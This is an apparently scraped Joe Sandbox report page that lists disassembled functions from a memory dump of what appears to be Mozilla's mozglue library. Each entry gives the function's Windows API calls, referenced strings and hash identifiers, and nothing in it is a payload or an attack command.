Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: ec58560be895f1215fef40b7cb00ff63f96e0ac44f018e02e50da9a6eaf3e06a
Instruction ID: 2d0a78a012581f8ff4a993e2a2b80a222286b5257425207b271e65b68f75904a
Opcode Fuzzy Hash: ec58560be895f1215fef40b7cb00ff63f96e0ac44f018e02e50da9a6eaf3e06a
Instruction Fuzzy Hash: D1E08CE2A0505037F5142296AC86DBB765CDBC6134F080039FD0D83301E95BAD1A51F6

Function 6CB405F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ae491b4fbbc2dcae725b63327907e037bc4d5d4c3879cb05080d87b8a48041
Instruction ID: dd2885645cee5434b523495f174369ced1e71075fafd0da8389cdcfe76790e52
Opcode Fuzzy Hash: c4ae491b4fbbc2dcae725b63327907e037bc4d5d4c3879cb05080d87b8a48041
Instruction Fuzzy Hash: 54A169B4A04685CFDB14CF29D994A9AFBF1FF58304F44866ED44A97B00EB30A945CF91

Function 6CB914A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB914C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB914E2
GetCurrentThreadId.KERNEL32 ref: 6CB91546
InitializeConditionVariable.KERNEL32(?), ref: 6CB915BA
free.MOZGLUE(?), ref: 6CB916B4

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: ccec8070813a5cd13c1a01d3bd8c569e4a4e5a6955f79e06f0f3df8a6b5c3556
Instruction ID: 968f188108e4a8dddac9a3f7844b4ce5013395aaadbc34d9452737e40f1fba62
Opcode Fuzzy Hash: ccec8070813a5cd13c1a01d3bd8c569e4a4e5a6955f79e06f0f3df8a6b5c3556
Instruction Fuzzy Hash: C761F475A017849BDB118F24C880BDEB7B8FF8A308F45852CED8A57711DB31E949CB92

Function 6CB8DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB8DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB8D38A,?), ref: 6CB8DC6F
free.MOZGLUE(?,?,?,?,?,6CB8D38A,?), ref: 6CB8DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB8D38A,?), ref: 6CB8DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB8D38A,?), ref: 6CB8DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB8D38A,?), ref: 6CB8DD4A

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 92599380c035d09e2fdd64c3cdf55ffdaaaf4794ee31eefc8a8454ebe3813c09
Instruction ID: 2cb1140e469705be1b6e52a72e222a309bda4efc6650a032dabc4d06b9e44a71
Opcode Fuzzy Hash: 92599380c035d09e2fdd64c3cdf55ffdaaaf4794ee31eefc8a8454ebe3813c09
Instruction Fuzzy Hash: 9C4147B5A01216CFCB44CFA9D88099EB7F6FF88314B65456AE945ABB10DB71FC04CB90

Function 6CB76590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CB6FA80: GetCurrentThreadId.KERNEL32 ref: 6CB6FA8D
Part of subcall function 6CB6FA80: AcquireSRWLockExclusive.KERNEL32(6CBBF448), ref: 6CB6FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB76727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB767C8

Part of subcall function 6CB84290: memcpy.VCRUNTIME140(?,?,6CB92003,6CB90AD9,?,6CB90AD9,00000000,?,6CB90AD9,?,00000004,?,6CB91A62,?,6CB92003,?), ref: 6CB842C4

Strings

data, xrefs: 6CB76593

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 9d5fc85800e00aa39bc3c804b20735719268a18f1f5996b53b0eaf920e89d0a3
Instruction ID: d408809978959b7bd2123173ebd31d5d833525ad3dae477c9bfdde2dfd9cb44e
Opcode Fuzzy Hash: 9d5fc85800e00aa39bc3c804b20735719268a18f1f5996b53b0eaf920e89d0a3
Instruction Fuzzy Hash: 61D1E175A083808FD724CF64D851BAFB7E5EFD5308F10492DE89997B51EB30A809CB62

Function 6CB6D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CB3EB57,?,?,?,?,?,?,?,?,?), ref: 6CB6D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CB3EB57,?), ref: 6CB6D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CB3EB57,?), ref: 6CB6D673
free.MOZGLUE(?), ref: 6CB6D888

Strings

|Enabled, xrefs: 6CB6D81E

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 376fd25e07fbcf08dfdfc97f0da437c3e2039015531e7472b79a907a7c8c71d3
Instruction ID: 4627f5afbb4e53257684cc6be34715680e4b998408b224412486e70565d932fb
Opcode Fuzzy Hash: 376fd25e07fbcf08dfdfc97f0da437c3e2039015531e7472b79a907a7c8c71d3
Instruction Fuzzy Hash: CFA11874A043958FDB11CF7AD4907AEBBF1EF49318F28805DD895ABB41D730A845CBA2

Function 6CB6F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CB6F480

Part of subcall function 6CB3F100: LoadLibraryW.KERNEL32(shell32,?,6CBAD020), ref: 6CB3F122
Part of subcall function 6CB3F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CB3F132

CloseHandle.KERNEL32(00000000), ref: 6CB6F555

Part of subcall function 6CB414B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB41248,6CB41248,?), ref: 6CB414C9
Part of subcall function 6CB414B0: memcpy.VCRUNTIME140(?,6CB41248,00000000,?,6CB41248,?), ref: 6CB414EF

Part of subcall function 6CB3EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CB3EEE3

CreateFileW.KERNEL32 ref: 6CB6F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CB6F523

Strings

\oleacc.dll, xrefs: 6CB6F4CB

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 63a77b40ec31d8d04809c907a234cf2f4c87213661a54e71d9af97215566bbb6
Instruction ID: d841229ef4a281827a823f4ee962b9f24e684656c5ca0085a87fef8e42b45bbd
Opcode Fuzzy Hash: 63a77b40ec31d8d04809c907a234cf2f4c87213661a54e71d9af97215566bbb6
Instruction Fuzzy Hash: C44180306087909FE720DF6AC885B9AB7F4EF44318F504A1CF69593A50EB30DD498B92

Function 6CB974A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB97526
__Init_thread_footer.LIBCMT ref: 6CB97566
__Init_thread_footer.LIBCMT ref: 6CB97597

Strings

kernel32.dll, xrefs: 6CB97557
UnmapViewOfFile2, xrefs: 6CB97552

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 86573d08170f715b684794842b94151981b3df7683e7d69f7da21b7ad490e661
Instruction ID: 5a407b2f4981099d306174bd303b5be44602afdd14c1b743e1b092944cfbfcef
Opcode Fuzzy Hash: 86573d08170f715b684794842b94151981b3df7683e7d69f7da21b7ad490e661
Instruction Fuzzy Hash: F121F53D7005C1A7CA149FEAC854EAD33B5EF57338F1405B9E805A7F40CF71A9028A9A

Function 6CB9C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB9C0E9), ref: 6CB9C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB9C437
FreeLibrary.KERNEL32(?,6CB9C0E9), ref: 6CB9C44C

Strings

ntdll.dll, xrefs: 6CB9C413
NtQueryVirtualMemory, xrefs: 6CB9C431

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: f0cd378ec21a1cc4c55345be53f2677c5e4d1ae2f14210bc8fdd159992e12a74
Instruction ID: 2534198877c8649a1454668956e752b56820ab62d28b61d16720b4e7802a60b7
Opcode Fuzzy Hash: f0cd378ec21a1cc4c55345be53f2677c5e4d1ae2f14210bc8fdd159992e12a74
Instruction Fuzzy Hash: 23E0927C605341DBDF006F75CD487157BF8E707216F00452AAA0993620EFB0C4018B59

Function 6CB975B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB9748B,?), ref: 6CB975B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB975D7
FreeLibrary.KERNEL32(?,6CB9748B,?), ref: 6CB975EC

Strings

RtlNtStatusToDosError, xrefs: 6CB975D1
ntdll.dll, xrefs: 6CB975B3

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: a779d9a92406dc482f60b0351508b76c78cb8b7207b09742dd5e0b4a5de347ca
Instruction ID: abdce43e80ea0c5f5049e2f3753bd3bdaea5c48d787c78789597c690766d9013
Opcode Fuzzy Hash: a779d9a92406dc482f60b0351508b76c78cb8b7207b09742dd5e0b4a5de347ca
Instruction Fuzzy Hash: 33E092BD700341ABEB006FA2C8887157BF8EB17218F1044A9B905E3610EFB08442CF59

Function 6CB97600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB97592), ref: 6CB97608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB97627
FreeLibrary.KERNEL32(?,6CB97592), ref: 6CB9763C

Strings

NtUnmapViewOfSection, xrefs: 6CB97621
ntdll.dll, xrefs: 6CB97603

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: e49b15209c3e2c4a7299cffb3d32e9468b8aac823bbc9fdf8ebd965145283f30
Instruction ID: 0637d9c1c6a1eed085917087bb4eecd5f2c388974ffe3b7a0814d0ea5cbb3e63
Opcode Fuzzy Hash: e49b15209c3e2c4a7299cffb3d32e9468b8aac823bbc9fdf8ebd965145283f30
Instruction Fuzzy Hash: 9EE092BC600781ABDF006FAAD88C7167BB8E72B269F1045A9E905E3610EFB080018F1D

Function 6CB88E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?,6CBAD734), ref: 6CB88E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?,6CBAD734), ref: 6CB88EBF
free.MOZGLUE(?,?,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?), ref: 6CB88F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?,6CBAD734), ref: 6CB88F46
free.MOZGLUE(?,?,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?), ref: 6CB88F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB7B58D,?,?,?,?,?,?,?,6CBAD734,?,?,?), ref: 6CB88F8F

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 37e4da45c8ed221443e12eef9bde1ca86be6659326217638a274b5343429650a
Instruction ID: d807f0d420019704f21205c8edfa00748fd063f75208a74b3b2d17bde2ae9cc1
Opcode Fuzzy Hash: 37e4da45c8ed221443e12eef9bde1ca86be6659326217638a274b5343429650a
Instruction Fuzzy Hash: 7651A5B1A022568FEF14CF54D88076E73B6FF45318F55092AD516AB740E732F905CB92

Function 6CB34DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB34E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB34E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB34EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB34F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CB34F1E

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ebe9d2fbd6125de24e454b7b9ee835282191a1f099b3e4b280dc4fb6afe542e6
Instruction ID: d22676cbc0289b684b030922f043b424bb5e549a3be4248832e68d37aa340fb2
Opcode Fuzzy Hash: ebe9d2fbd6125de24e454b7b9ee835282191a1f099b3e4b280dc4fb6afe542e6
Instruction Fuzzy Hash: F641DF716087A19FC705CF28C88095BBBE4FF89344F149A2DF46987B81DB31E958CB82

Function 6CB41530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CB4152B,?,?,?,?,6CB41248,?), ref: 6CB4159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CB4152B,?,?,?,?,6CB41248,?), ref: 6CB415BC
moz_xmalloc.MOZGLUE(-00000001,?,6CB4152B,?,?,?,?,6CB41248,?), ref: 6CB415E7
free.MOZGLUE(?,?,?,?,?,?,6CB4152B,?,?,?,?,6CB41248,?), ref: 6CB41606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CB4152B,?,?,?,?,6CB41248,?), ref: 6CB41637

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 5019deb5f0c038542309ad602fa0196413501bab533d95b36002c9a043168205
Instruction ID: 126ec15249e53522f5e5475c3c1eacc0a610e37398fed6449ec596fd3c060c11
Opcode Fuzzy Hash: 5019deb5f0c038542309ad602fa0196413501bab533d95b36002c9a043168205
Instruction Fuzzy Hash: DB31EA71E081549BCB148E78D8504AE77A9FB8136472C4B2DE823DBBD8EB30D9259792

Function 6CB9AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CBAE330,?,6CB5C059), ref: 6CB9AD9D

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CBAE330,?,6CB5C059), ref: 6CB9ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CBAE330,?,6CB5C059), ref: 6CB9AE01
GetLastError.KERNEL32(?,00000000,?,?,6CBAE330,?,6CB5C059), ref: 6CB9AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CBAE330,?,6CB5C059), ref: 6CB9AE3D

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 83bba868c8d433035a95122005bb15c7759a9dd5dd4851d3dfacc3ee0360f306
Instruction ID: c69853075f906c990e44d9649f8adfe9ecac849c1694fd1fda4e215105ec4527
Opcode Fuzzy Hash: 83bba868c8d433035a95122005bb15c7759a9dd5dd4851d3dfacc3ee0360f306
Instruction Fuzzy Hash: AE3141B1E046559FDB10DF75CC44AAFB7F8EF49614F158829E84AD7700EB34A804CBA4

Function 6CB95EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CBADCA0,?,?,?,6CB6E8B5,00000000), ref: 6CB95F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB6E8B5,00000000), ref: 6CB95F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CB6E8B5,00000000), ref: 6CB95F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CB6E8B5,00000000), ref: 6CB95F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB6E8B5,00000000), ref: 6CB95FD6

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 81b5ebd5713cc7cc9420c4eba80d7d7a6969de043529ed4c202635e30fd2c000
Instruction ID: 09b0302fb026a4a8216b1f46340898e0c7035e635ff7f2cd516682733d82e7c6
Opcode Fuzzy Hash: 81b5ebd5713cc7cc9420c4eba80d7d7a6969de043529ed4c202635e30fd2c000
Instruction Fuzzy Hash: B3312D343406408FDB10CF29C498B2AB7F5FF8A329B644668E55687795CB35EC45CB85

Function 6CB3B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CB3B532
moz_xmalloc.MOZGLUE(?), ref: 6CB3B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB3B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CB3B57E
free.MOZGLUE(00000000), ref: 6CB3B58F

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
